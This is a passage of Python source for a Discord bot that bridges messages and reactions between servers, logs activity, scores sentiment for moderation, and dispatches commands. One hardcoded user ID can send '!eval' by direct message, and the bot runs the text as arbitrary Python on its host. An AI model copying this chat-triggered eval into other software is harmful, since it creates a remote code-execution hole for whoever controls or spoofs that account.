messagefuncs.sendWrappedMessage(\n f\"{user.display_name} ({user.name}#{user.discriminator}) reacting with {messageContent} to https://discordapp.com/channels/{message.guild.id}/{message.channel.id}/{message.id}\",\n message.guild.get_member(user_id),\n )\n await messagefuncs.preview_messagelink_function(\n preview_message, self.client, None\n )\n args = [reaction, user, \"add\"]\n scoped_command = None\n if (\n self.message_reaction_handlers.get(message.id)\n and self.message_reaction_handlers.get(message.id).get(\n \"scope\", \"message\"\n )\n != \"channel\"\n ):\n scoped_command = self.message_reaction_handlers[message.id]\n elif (\n self.message_reaction_handlers.get(channel.id)\n and self.message_reaction_handlers.get(channel.id).get(\n \"scope\", \"message\"\n )\n == \"channel\"\n ):\n scoped_command = self.message_reaction_handlers[channel.id]\n if scoped_command:\n logger.debug(scoped_command)\n if (\n messageContent.startswith(tuple(scoped_command[\"trigger\"]))\n and self.allowCommand(scoped_command, message, user=user)\n and not scoped_command.get(\"remove\", False)\n and scoped_command[\"args_num\"] == 0\n ):\n await self.run_command(scoped_command, message, args, user)\n else:\n for command in self.get_command(\n messageContent, message, max_args=0\n ):\n if not command.get(\"remove\", False):\n await self.run_command(command, message, args, user)\n try:\n if type(\n channel\n ) is discord.TextChannel and self.webhook_sync_registry.get(\n channel.guild.name + \":\" + channel.name\n ):\n if reaction.emoji.is_custom_emoji():\n processed_emoji = self.client.get_emoji(reaction.emoji.id)\n else:\n processed_emoji = reaction.emoji.name\n if processed_emoji is None:\n image = (\n await netcode.simple_get_image(\n f\"https://cdn.discordapp.com/emojis/{reaction.emoji.id}.png?v=1\"\n )\n ).read()\n emoteServer = self.client.get_guild(\n config.get(\n section=\"discord\", key=\"emoteServer\", default=0\n )\n )\n try:\n processed_emoji = await emoteServer.create_custom_emoji(\n name=reaction.emoji.name,\n image=image,\n reason=f\"messagemap sync code\",\n )\n except discord.Forbidden:\n logger.error(\"discord.emoteServer misconfigured!\")\n except discord.HTTPException:\n await random.choice(emoteServer.emojis).delete()\n processed_emoji = await emoteServer.create_custom_emoji(\n name=reaction.emoji.name,\n image=image,\n reason=f\"messagemap sync code\",\n )\n if not processed_emoji:\n return\n cur = conn.cursor()\n cur.execute(\n \"SELECT fromguild, fromchannel, frommessage FROM messagemap WHERE toguild = %s AND tochannel = %s AND tomessage = %s LIMIT 1;\",\n [message.guild.id, message.channel.id, message.id],\n )\n metuple = cur.fetchone()\n conn.commit()\n if metuple is not None:\n fromGuild = self.client.get_guild(metuple[0])\n fromChannel = fromGuild.get_channel(metuple[1])\n fromMessage = await fromChannel.fetch_message(metuple[2])\n if fromMessage.author.id in config.get(\n section=\"moderation\",\n key=\"blacklist-user-usage\",\n default=[],\n ):\n logger.debug(\n \"Demurring to bridge reaction to message of users on the blacklist\"\n )\n return\n logger.debug(f\"RXH: {processed_emoji} -> {fromMessage.id}\")\n syncReaction = await fromMessage.add_reaction(\n processed_emoji\n )\n # cur = conn.cursor()\n # cur.execute(\n # \"UPDATE messagemap SET reactions = reactions || %s WHERE toguild = %s AND tochannel = %s AND tomessage = %s;\",\n # [\n # str(processed_emoji),\n # message.guild.id,\n # message.channel.id,\n # message.id,\n # ],\n # )\n # conn.commit()\n cur = conn.cursor()\n cur.execute(\n \"SELECT toguild, tochannel, tomessage FROM messagemap WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s LIMIT 1;\",\n [message.guild.id, message.channel.id, message.id],\n )\n metuple = cur.fetchone()\n conn.commit()\n if metuple is not None:\n toGuild = self.client.get_guild(metuple[0])\n toChannel = toGuild.get_channel(metuple[1])\n toMessage = await toChannel.fetch_message(metuple[2])\n if not toMessage:\n return\n if toMessage.author.id in config.get(\n section=\"moderation\",\n key=\"blacklist-user-usage\",\n default=[],\n ):\n logger.debug(\n \"Demurring to bridge reaction to message of users on the blacklist\"\n )\n return\n logger.debug(f\"RXH: {processed_emoji} -> {toMessage.id}\")\n syncReaction = await toMessage.add_reaction(processed_emoji)\n # cur = conn.cursor()\n # cur.execute(\n # f'UPDATE messagemap SET reactions = reactions || %s WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s;',\n # [\n # str(processed_emoji),\n # message.guild.id,\n # message.channel.id,\n # message.id,\n # ],\n # )\n # conn.commit()\n except discord.InvalidArgument as e:\n if \"cur\" in locals() and \"conn\" in locals():\n conn.rollback()\n pass\n except Exception as e:\n if \"cur\" in locals() and \"conn\" in locals():\n conn.rollback()\n exc_type, exc_obj, exc_tb = exc_info()\n logger.debug(traceback.format_exc())\n logger.error(f\"RXH[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n async def reaction_remove_handler(self, reaction):\n with configure_scope() as scope:\n try:\n global config\n messageContent = str(reaction.emoji)\n channel = self.client.get_channel(reaction.channel_id)\n if not channel:\n logger.info(\"Channel does not exist\")\n return\n scope.set_tag(\n \"channel\",\n channel.name if type(channel) is not discord.DMChannel else \"DM\",\n )\n if type(channel) == discord.DMChannel:\n user = self.client.get_user(reaction.user_id)\n else:\n user = channel.guild.get_member(reaction.user_id)\n scope.set_tag(\"guild\", channel.guild.name)\n scope.user = {\"id\": user.id, \"username\": str(user)}\n message = await channel.fetch_message(reaction.message_id)\n if type(channel) is discord.TextChannel:\n logger.info(\n f\"#{channel.guild.name}:{channel.name} <{user.name}:{user.id}> unreacting with {messageContent} from {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": channel.guild.name,\n \"CHANNEL_IDENTIFIER\": channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n elif type(channel) is discord.DMChannel:\n logger.info(\n f\"@{channel.recipient.name} <{user.name}:{user.id}> unreacting with {messageContent} from {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n args = [reaction, user, \"remove\"]\n try:\n guild_config = self.scope_config(guild=message.guild)\n channel_config = self.scope_config(\n guild=message.guild, channel=message.channel\n )\n except (AttributeError, ValueError) as e:\n if \"guild\" in str(e):\n # DM configuration, default to none\n guild_config = {}\n channel_config = {}\n if guild_config.get(\"subscribe\", {}).get(message.id):\n for user_id in guild_config.get(\"subscribe\", {}).get(message.id):\n preview_message = await messagefuncs.sendWrappedMessage(\n f\"{user.display_name} ({user.name}#{user.discriminator}) removed reaction of {messageContent} from https://discordapp.com/channels/{message.guild.id}/{message.channel.id}/{message.id}\",\n message.guild.get_member(user_id),\n )\n await messagefuncs.preview_messagelink_function(\n preview_message, self.client, None\n )\n command = self.message_reaction_remove_handlers.get(message.id)\n if command and self.allowCommand(command, message, user=user):\n await self.run_command(command, message, args, user)\n for command in self.get_command(messageContent, message, max_args=0):\n if self.allowCommand(command, message, user=user) and command.get(\n \"remove\"\n ):\n await self.run_command(command, message, args, user)\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"RRH[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n async def remove_handler(self, user):\n global config\n with configure_scope() as scope:\n scope.user = {\"id\": user.id, \"username\": str(user)}\n scope.set_tag(\"guild\", user.guild.name)\n member_remove_actions = config.get(\n guild=user.guild, key=\"on_member_remove_list\", default=[]\n )\n for member_remove_action in member_remove_actions:\n if member_remove_action in self.remove_handlers.keys():\n await self.remove_handlers[member_remove_action](\n user, self.client, self.scope_config(guild=user.guild)\n )\n else:\n logger.error(\n f\"Unknown member_remove_action [{member_remove_action}]\"\n )\n\n async def join_handler(self, user):\n with configure_scope() as scope:\n scope.user = {\"id\": user.id, \"username\": str(user)}\n scope.set_tag(\"guild\", user.guild.name)\n member_join_actions = config.get(\n guild=user.guild, key=\"on_member_join_list\", default=[]\n )\n for member_join_action in member_join_actions:\n if member_join_action in self.join_handlers.keys():\n await self.join_handlers[member_join_action](\n user, self.client, self.scope_config(guild=user.guild)\n )\n else:\n logger.error(f\"Unknown member_join_action [{member_join_action}]\")\n\n async def channel_update_handler(self, before, after):\n if not before.guild:\n return\n scoped_config = self.scope_config(guild=before.guild)\n if type(before) == discord.TextChannel and before.name != after.name:\n logger.info(\n f\"#{before.guild.name}:{before.name} Name changed from {before.name} to {after.name}\",\n extra={\n \"GUILD_IDENTIFIER\": before.guild.name,\n \"CHANNEL_IDENTIFIER\": before.name,\n },\n )\n if scoped_config.get(\"name_change_notify\", False):\n await messagefuncs.sendWrappedMessage(\n scoped_confg.get(\n \"name_change_notify_prefix\",\n \"Name changed from {before.name} to {after.name}\",\n ).format(before=before, after=after),\n after,\n )\n if type(before) == discord.TextChannel and before.topic != after.topic:\n logger.info(\n f\"#{before.guild.name}:{before.name} Topic changed from {before.topic} to {after.topic}\",\n extra={\n \"GUILD_IDENTIFIER\": before.guild.name,\n \"CHANNEL_IDENTIFIER\": before.name,\n },\n )\n if scoped_config.get(\"topic_change_notify\", False):\n await messagefuncs.sendWrappedMessage(\n scoped_confg.get(\n \"topic_change_notify_prefix\",\n \"Topic changed from {before.topic} to {after.topic}\",\n ).format(before=before, after=after),\n after,\n )\n\n async def reload_handler(self):\n try:\n loop = asyncio.get_event_loop()\n # Trigger reload handlers\n successful_events = []\n for guild in self.client.guilds:\n reload_actions = self.scope_config(guild=guild).get(\n \"on_reload_list\", []\n )\n for reload_action in reload_actions:\n if reload_action in self.reload_handlers.keys():\n loop.create_task(\n self.reload_handlers[reload_action](\n guild, self.client, self.scope_config(guild=guild)\n )\n )\n successful_events.append(f\"{guild.name}: {reload_action}\")\n else:\n logger.error(f\"Unknown reload_action [{reload_action}]\")\n return successful_events\n except Exception as e:\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"RLH[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n @cached(TTLCache(1024, 86400))\n async def fetch_webhook_cached(self, webhook_id):\n try:\n webhook = await self.client.fetch_webhook(webhook_id)\n except discord.Forbidden:\n logger.debug(\n f\"Fetch webhook failed for {webhook_id} due to missing permissions\"\n )\n webhook = discord.Webhook.partial(\n -1, \"loading-forbidden\", adapter=discord.RequestsWebhookAdapter()\n )\n return webhook\n\n async def bridge_message(self, message):\n global conn\n try:\n if not message.guild:\n return\n except AttributeError:\n return\n bridge_key = f\"{message.guild.name}:{message.channel.name}\"\n bridge = self.webhook_sync_registry.get(bridge_key)\n if not bridge:\n return\n sync = self.config.get(section=\"sync\")\n user = message.author\n # if the message is from the bot itself or sent via webhook, which is usually done by a bot, ignore it other than sync processing\n if message.webhook_id:\n webhook = await self.fetch_webhook_cached(message.webhook_id)\n if webhook.name not in sync.get(\"whitelist-webhooks\", []):\n if not webhook.name.startswith(\n self.config.get(section=\"discord\", key=\"botNavel\")\n ):\n logger.debug(\"Webhook isn't whitelisted for bridging\")\n return\n ignores = list(\n filter(\n \"\".__ne__,\n sync.get(f\"tupper-ignore-{message.guild.id}\", [])\n + sync.get(f\"tupper-ignore-m{user.id}\", []),\n )\n )\n if (\n not message.webhook_id\n and len(ignores)\n and message.content.startswith(tuple(ignores))\n ):\n logger.debug(f\"Prefix in {tuple(ignores)}, not bridging\")\n return\n content = message.content or \" \"\n attachments = []\n if len(message.attachments) > 0:\n if message.channel.is_nsfw() and not bridge[\"toChannelObject\"].is_nsfw():\n content += f\"\\n {len(message.attachments)} file{'s' if len(message.attachments) > 1 else ''} attached from an R18 channel.\"\n for attachment in message.attachments:\n content += f\"\\n• <{attachment.url}>\"\n else:\n for attachment in message.attachments:\n logger.debug(f\"Syncing {attachment.filename}\")\n attachment_blob = io.BytesIO()\n await attachment.save(attachment_blob)\n attachments.append(\n discord.File(attachment_blob, attachment.filename)\n )\n toMember = bridge[\"toChannelObject\"].guild.get_member(user.id)\n fromMessageName = toMember.display_name if toMember else user.display_name\n # wait=True: blocking call for messagemap insertions to work\n syncMessage = None\n try:\n syncMessage = await bridge[\"toWebhook\"].send(\n content=content,\n username=fromMessageName,\n avatar_url=user.avatar_url_as(format=\"png\", size=128),\n embeds=message.embeds,\n tts=message.tts,\n files=attachments,\n wait=True,\n allowed_mentions=discord.AllowedMentions(\n users=False, roles=False, everyone=False\n ),\n )\n except discord.HTTPException as e:\n if attachments:\n content += f\"\\n {len(message.attachments)} file{'s' if len(message.attachments) > 1 else ''} attached (too large to bridge).\"\n for attachment in message.attachments:\n content += f\"\\n• <{attachment.url}>\"\n syncMessage = await bridge[\"toWebhook\"].send(\n content=content,\n username=fromMessageName,\n avatar_url=user.avatar_url_as(format=\"png\", size=128),\n embeds=message.embeds,\n tts=message.tts,\n wait=True,\n allowed_mentions=discord.AllowedMentions(\n users=False, roles=False, everyone=False\n ),\n )\n if not syncMessage:\n return\n try:\n cur = conn.cursor()\n cur.execute(\n \"INSERT INTO messagemap (fromguild, fromchannel, frommessage, toguild, tochannel, tomessage) VALUES (%s, %s, %s, %s, %s, %s);\",\n [\n message.guild.id,\n message.channel.id,\n message.id,\n syncMessage.guild.id,\n syncMessage.channel.id,\n syncMessage.id,\n ],\n )\n conn.commit()\n except Exception as e:\n if \"cur\" in locals() and \"conn\" in locals():\n conn.rollback()\n exc_type, exc_obj, exc_tb = exc_info()\n logger.error(f\"B[{exc_tb.tb_lineno}]: {type(e).__name__} {e}\")\n\n async def edit_handler(self, message):\n fromMessage = message\n fromChannel = message.channel\n if hasattr(message, \"guild\"):\n fromGuild = message.guild\n else:\n fromGuild = None\n if len(fromMessage.content) > 0:\n if type(fromChannel) is discord.TextChannel:\n logger.info(\n f\"{message.id} #{fromGuild.name}:{fromChannel.name} <{fromMessage.author.name}:{fromMessage.author.id}> [Edit] {fromMessage.content}\",\n extra={\n \"GUILD_IDENTIFIER\": fromGuild.name,\n \"CHANNEL_IDENTIFIER\": fromChannel.name,\n \"SENDER_NAME\": fromMessage.author.name,\n \"SENDER_ID\": fromMessage.author.id,\n \"MESSAGE_ID\": str(fromMessage.id),\n },\n )\n elif type(fromChannel) is discord.DMChannel:\n logger.info(\n f\"{message.id} @{fromChannel.recipient.name} <{fromMessage.author.name}:+{fromMessage.author.id}> [Edit] {fromMessage.content}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": fromChannel.recipient,\n \"SENDER_NAME\": fromMessage.author.name,\n \"SENDER_ID\": fromMessage.author.id,\n \"MESSAGE_ID\": str(fromMessage.id),\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n else:\n # Currently, we don't log empty or image-only messages\n pass\n if fromGuild and self.webhook_sync_registry.get(\n f\"{fromGuild.name}:{fromChannel.name}\"\n ):\n await asyncio.sleep(1)\n cur = conn.cursor()\n query_params = [fromGuild.id, fromChannel.id, message.id]\n cur.execute(\n \"SELECT toguild, tochannel, tomessage FROM messagemap WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s LIMIT 1;\",\n query_params,\n )\n metuple = cur.fetchone()\n conn.commit()\n logger.debug(f\"[Bridge] {query_params} -> {metuple}\")\n else:\n metuple = None\n if metuple is not None:\n toGuild = self.client.get_guild(metuple[0])\n toChannel = toGuild.get_channel(metuple[1])\n toMessage = await toChannel.fetch_message(metuple[2])\n if message.pinned:\n await toMessage.pin()\n return\n if not self.config.get(\n key=\"sync-edits\",\n guild=toGuild.id,\n channel=toChannel.id,\n use_category_as_channel_fallback=False,\n ):\n logger.debug(f\"ORMU: Demurring to edit message at client guild request\")\n return\n if self.config.get(\n key=\"sync-deletions\",\n guild=toGuild.id,\n channel=toChannel.id,\n use_category_as_channel_fallback=False,\n ):\n try:\n await toMessage.delete()\n except discord.NotFound:\n return\n except discord.Forbidden:\n logger.info(\n f\"Unable to remove original message for bridge in {message.channel}! I need the manage messages permission to do that.\"\n )\n content = fromMessage.clean_content\n attachments = []\n if len(fromMessage.attachments) > 0:\n plural = \"\"\n if len(fromMessage.attachments) > 1:\n plural = \"s\"\n if (\n fromMessage.channel.is_nsfw()\n and not self.webhook_sync_registry[\n f\"{fromMessage.guild.name}:{fromMessage.channel.name}\"\n ][\"toChannelObject\"].is_nsfw()\n ):\n content = f\"{content}\\n {len(message.attachments)} file{plural} attached from an R18 channel.\"\n for attachment in fromMessage.attachments:\n content = f\"{content}\\n• <{attachment.url}>\"\n else:\n for attachment in fromMessage.attachments:\n logger.debug(f\"Syncing {attachment.filename}\")\n attachment_blob = io.BytesIO()\n await attachment.save(attachment_blob)\n attachments.append(\n discord.File(attachment_blob, attachment.filename)\n )\n fromMessageName = fromMessage.author.display_name\n if toGuild.get_member(fromMessage.author.id) is not None:\n fromMessageName = toGuild.get_member(fromMessage.author.id).display_name\n syncMessage = await self.webhook_sync_registry[\n f\"{fromMessage.guild.name}:{fromMessage.channel.name}\"\n ][\"toWebhook\"].send(\n content=content,\n username=fromMessageName,\n avatar_url=fromMessage.author.avatar_url_as(format=\"png\", size=128),\n embeds=fromMessage.embeds,\n tts=fromMessage.tts,\n files=attachments,\n wait=True,\n allowed_mentions=discord.AllowedMentions(\n users=False, roles=False, everyone=False\n ),\n )\n cur = conn.cursor()\n cur.execute(\n \"UPDATE messagemap SET toguild = %s, tochannel = %s, tomessage = %s WHERE fromguild = %s AND fromchannel = %s AND frommessage = %s;\",\n [\n syncMessage.guild.id,\n syncMessage.channel.id,\n syncMessage.id,\n message.guild.id,\n message.channel.id,\n message.id,\n ],\n )\n conn.commit()\n await self.tupper_proc(message)\n\n async def command_handler(self, message):\n global config\n global sid\n global conn\n\n user = message.author\n global Ans\n if (\n user.id == 382984420321263617\n and type(message.channel) is discord.DMChannel\n and message.content.startswith(\"!eval \")\n ):\n content = message.content[6:]\n try:\n if content.startswith(\"await\"):\n result = eval(content[6:])\n result = await result\n else:\n result = eval(content)\n if result:\n await messagefuncs.sendWrappedMessage(str(result), user)\n Ans = result\n except Exception as e:\n await messagefuncs.sendWrappedMessage(\n f\"{traceback.format_exc()}\\nEVAL: {type(e).__name__} {e}\", user\n )\n\n await self.bridge_message(message)\n if user == client.user:\n logger.info(\n f\"{message.id} #{message.guild.name if message.guild else 'DM'}:{message.channel.name if message.guild else message.channel.recipient.name} <{user.name}:{user.id}> {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name if message.guild else None,\n \"CHANNEL_IDENTIFIER\": message.channel.name\n if message.guild\n else message.channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n return\n\n if message.webhook_id:\n webhook = await self.fetch_webhook_cached(message.webhook_id)\n if webhook.name not in self.config.get(\n key=\"whitelist-webhooks\", section=\"sync\", default=[]\n ):\n return\n guild_config = self.config.get(guild=message.guild, default={})\n channel_config = self.config.get(channel=message.channel, default={})\n\n try:\n blacklist_category = guild_config.get(\"automod-blacklist-category\", [])\n blacklist_channel = guild_config.get(\"automod-blacklist-channel\", [])\n if (\n type(message.channel) is discord.TextChannel\n and message.channel.category_id not in blacklist_category\n and message.channel.id not in blacklist_channel\n ):\n sent_com_score = sid.polarity_scores(message.content)[\"compound\"]\n if message.content == \"VADER NEUTRAL\":\n sent_com_score = 0\n elif message.content == \"VADER GOOD\":\n sent_com_score = 1\n elif message.content == \"VADER BAD\":\n sent_com_score = -1\n logger.info(\n f\"{message.id} #{message.guild.name}:{message.channel.name} <{user.name}:{user.id}> [{sent_com_score}] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name,\n \"CHANNEL_IDENTIFIER\": message.channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n \"SENT_COM_SCORE\": sent_com_score,\n },\n )\n if (\n guild_config.get(\"sent-com-score-threshold\")\n and sent_com_score\n <= float(guild_config[\"sent-com-score-threshold\"])\n and message.webhook_id is None\n and message.guild.name\n in config.get(section=\"moderation\", key=\"guilds\")\n ):\n await janissary.modreport_function(\n message,\n self.client,\n (\n \"\\n[Sentiment Analysis Combined Score \"\n + str(sent_com_score)\n + \"] \"\n + message.system_content\n ).split(\" \"),\n )\n else:\n if type(message.channel) is discord.TextChannel:\n logger.info(\n f\"{message.id} #{message.guild.name}:{message.channel.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name,\n \"CHANNEL_IDENTIFIER\": message.channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n elif type(message.channel) is discord.DMChannel:\n logger.info(\n f\"{message.id} @{message.channel.recipient.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": message.channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n except AttributeError as e:\n if type(message.channel) is discord.TextChannel:\n logger.info(\n f\"{message.id} #{message.guild.name}:{message.channel.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": message.guild.name,\n \"CHANNEL_IDENTIFIER\": message.channel.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n elif type(message.channel) is discord.DMChannel:\n logger.info(\n f\"{message.id} @{message.channel.recipient.name} <{user.name}:{user.id}> [Nil] {message.system_content}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": message.channel.recipient.name,\n \"SENDER_NAME\": user.name,\n \"SENDER_ID\": user.id,\n \"MESSAGE_ID\": str(message.id),\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n pass\n await self.tupper_proc(message)\n if (\n messagefuncs.extract_identifiers_messagelink.search(message.content)\n or messagefuncs.extract_previewable_link.search(message.content)\n ) and not message.content.startswith((\"!preview\", \"!blockquote\", \"!xreact\")):\n if user.id not in config.get(\n section=\"moderation\", key=\"blacklist-user-usage\"\n ):\n await messagefuncs.preview_messagelink_function(\n message, self.client, None\n )\n if \"rot13\" in message.content:\n if user.id not in config.get(\n section=\"moderation\", key=\"blacklist-user-usage\"\n ):\n await message.add_reaction(\n self.client.get_emoji(\n int(config.get(\"discord\", {}).get(\"rot13\", \"clock1130\"))\n )\n )\n searchString = message.content\n if self.tag_id_as_command.search(searchString):\n searchString = self.tag_id_as_command.sub(\"!\", searchString)\n if len(searchString) and searchString[-1] == \"!\":\n searchString = \"!\" + searchString[:-1]\n if config[\"interactivity\"][\"enhanced-command-finding\"] == \"on\":\n if len(searchString) and searchString[-1] == \"!\":\n searchString = \"!\" + searchString[:-1]\n searchString = self.bang_remover.sub(\"!\", searchString)\n searchString = searchString.rstrip()\n if channel_config.get(\"regex\") == \"pre-command\" and (\n channel_config.get(\"regex-tyranny\", \"On\") == \"Off\"\n or not message.channel.permissions_for(user).manage_messages\n ):\n continue_flag = await greeting.regex_filter(\n message, self.client, channel_config\n )\n if not continue_flag:\n return\n args = list(filter(\"\".__ne__, searchString.split(\" \")))\n if len(args):\n args.pop(0)\n for command in self.get_command(\n searchString, message, mode=\"keyword_trie\", max_args=len(args)\n ):\n await self.run_command(command, message, args, user)\n # Run at most one command\n break\n if guild_config.get(\"hotwords_loaded\"):\n for hotword in filter(\n lambda hw: (type(hw) is Hotword)\n and (len(hw.user_restriction) == 0)\n or (user.id in hw.user_restriction),\n regex_cache.get(message.guild.id, []),\n ):\n if hotword.compiled_regex.search(message.content):\n for command in hotword.target:\n await command(message, self.client, args)\n if channel_config.get(\"regex\") == \"post-command\" and (\n channel_config.get(\"regex-tyranny\", \"On\") == \"Off\"\n or not message.channel.permissions_for(user).manage_messages\n ):\n continue_flag = await greeting.regex_filter(\n message, self.client, channel_config\n )\n if not continue_flag:\n return\n\n async def run_command(self, command, message, args, user):\n if command.get(\"long_run\") == \"author\":\n await user.trigger_typing()\n elif command.get(\"long_run\"):\n await message.channel.trigger_typing()\n logger.debug(f\"[CH] Triggered {command}\")\n if user.id in self.scope_config()[\"moderation\"].get(\"blacklist-user-usage\"):\n raise Exception(f\"Blacklisted command attempt by user {user}\")\n if command[\"async\"]:\n await command[\"function\"](message, self.client, args)\n else:\n await messagefuncs.sendWrappedMessage(\n str(command[\"function\"](message, self.client, args)), message.channel\n )\n\n def whitelist_command(self, command_name, guild_id):\n commands = self.get_command(\"!\" + command_name)\n if not commands:\n commands = self.get_command(command_name)\n if len(commands):\n for command in commands:\n if command.get(\"blacklist_guild\") and guild_id in command.get(\n \"blacklist_guild\"\n ):\n command[\"blacklist_guild\"].remove(guild_id)\n logger.debug(\n f\"Whitelist overwrites blacklist for {command} on guild {guild_id}\"\n )\n else:\n logger.error(\n f\"Couldn't find {command_name} for whitelisting on guild {guild_id}\"\n )\n\n def whitelist_limit_command(self, command_name, guild_id):\n commands = self.get_command(\"!\" + command_name)\n if not commands:\n commands = self.get_command(command_name)\n if len(commands):\n for command in commands:\n if not command.get(\"whitelist_guild\"):\n command[\"whitelist_guild\"] = []\n command[\"whitelist_guild\"].append(guild_id)\n logger.debug(f\"Whitelisting {command} on guild {guild_id}\")\n else:\n logger.error(\n f\"Couldn't find {command_name} for whitelisting on guild {guild_id}\"\n )\n\n def blacklist_command(self, command_name, guild_id):\n if command_name == \"all\":\n commands = self.commands\n else:\n commands = self.get_command(\"!\" + command_name)\n if not len(commands):\n commands = self.get_command(command_name)\n if len(commands):\n for command in commands:\n if not command.get(\"blacklist_guild\"):\n command[\"blacklist_guild\"] = []\n command[\"blacklist_guild\"].append(guild_id)\n logger.debug(f\"Blacklisting {command} on guild {guild_id}\")\n else:\n logger.error(\n f\"Couldn't find {command_name} for blacklisting on guild {guild_id}\"\n )\n\n def scope_config(self, message=None, channel=None, guild=None, mutable=False):\n if guild is None:\n if channel and type(channel) != discord.DMChannel:\n guild = channel.guild\n elif message and type(channel) != discord.DMChannel:\n guild = message.guild\n else:\n return self.config\n if channel is None:\n if message:\n channel = message.channel\n if guild and type(guild) is not int:\n guild = guild.id\n if channel and type(channel) is not int:\n channel = channel.id\n try:\n if mutable:\n return self.config.get(guild=guild, channel=channel)\n else:\n return dict(self.config.get(guild=guild, channel=channel))\n except TypeError:\n return {}\n\n @lru_cache(maxsize=256)\n def user_config(self, user, guild, key, value=None, allow_global_substitute=False):\n cur = conn.cursor()\n if not value:\n if guild:\n if allow_global_substitute:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id = %s OR guild_id IS NULL AND key = %s ORDER BY guild_id LIMIT 1;\",\n [user, guild, key],\n )\n else:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id = %s AND key = %s LIMIT 1;\",\n [user, guild, key],\n )\n else:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id IS NULL AND key = %s LIMIT 1;\",\n [user, key],\n )\n value = cur.fetchone()\n if value:\n value = value[0]\n else:\n if guild:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id = %s AND key = %s LIMIT 1;\",\n [user, guild, key],\n )\n else:\n cur.execute(\n \"SELECT value FROM user_preferences WHERE user_id = %s AND guild_id IS NULL AND key = %s LIMIT 1;\",\n [user, key],\n )\n old_value = cur.fetchone()\n if old_value:\n if guild:\n cur.execute(\n \"UPDATE user_preferences SET value = %s WHERE user_id = %s AND guild_id = %s AND key = %s;\",\n [value, user, guild, key],\n )\n else:\n cur.execute(\n \"UPDATE user_preferences SET value = %s WHERE user_id = %s AND guild_id IS NULL AND key = %s;\",\n [value, user, key],\n )\n else:\n cur.execute(\n \"INSERT INTO user_preferences (user_id, guild_id, key, value) VALUES (%s, %s, %s, %s);\",\n [user, guild, key, value],\n )\n conn.commit()\n return value\n\n def is_admin(self, message, user=None):\n global config\n if hasattr(message, \"channel\"):\n channel = message.channel\n else:\n channel = message\n if user is None:\n try:\n user = channel.guild.get_member(message.author.id) or message.author\n except AttributeError:\n user = message.author\n if type(user) is discord.Member and user.guild.id != channel.guild.id:\n member = channel.guild.get_member(user)\n if member is None:\n user = client.get_user(user.id)\n else:\n user = member\n globalAdmin = user.id == config[\"discord\"].get(\"globalAdmin\", 0)\n serverAdmin = (\n globalAdmin and config[\"discord\"].get(\"globalAdminIsServerAdmin\", False)\n ) or (type(user) is discord.Member and user.guild_permissions.manage_webhooks)\n channelAdmin = (\n (globalAdmin and config[\"discord\"].get(\"globalAdminIsServerAdmin\", False))\n or serverAdmin\n or (\n type(user) is discord.Member\n and user.permissions_in(channel).manage_webhooks\n )\n )\n return {\"global\": globalAdmin, \"server\": serverAdmin, \"channel\": channelAdmin}\n\n def allowCommand(self, command, message, user=None):\n global config\n if not user:\n user = message.author\n admin = self.is_admin(message, user=user)\n if \"admin\" in command:\n if command[\"admin\"] == \"global\" and admin[\"global\"]:\n return True\n # Guild admin commands\n if type(message.channel) != discord.DMChannel:\n # Server-specific\n if (\n str(command[\"admin\"]).startswith(\"server:\")\n and message.guild.id in str_to_arr(command[\"admin\"].split(\":\")[1])\n and admin[\"server\"]\n ):\n return True\n # Channel-specific\n elif (\n str(command[\"admin\"]).startswith(\"channel:\")\n and message.channel.id in str_to_arr(command[\"admin\"].split(\":\")[1])\n and admin[\"channel\"]\n ):\n return True\n # Any server\n elif command[\"admin\"] in [\"server\", True] and admin[\"server\"]:\n return True\n # Any channel\n elif command[\"admin\"] == \"channel\" and admin[\"channel\"]:\n return True\n # Unprivileged\n if command[\"admin\"] == 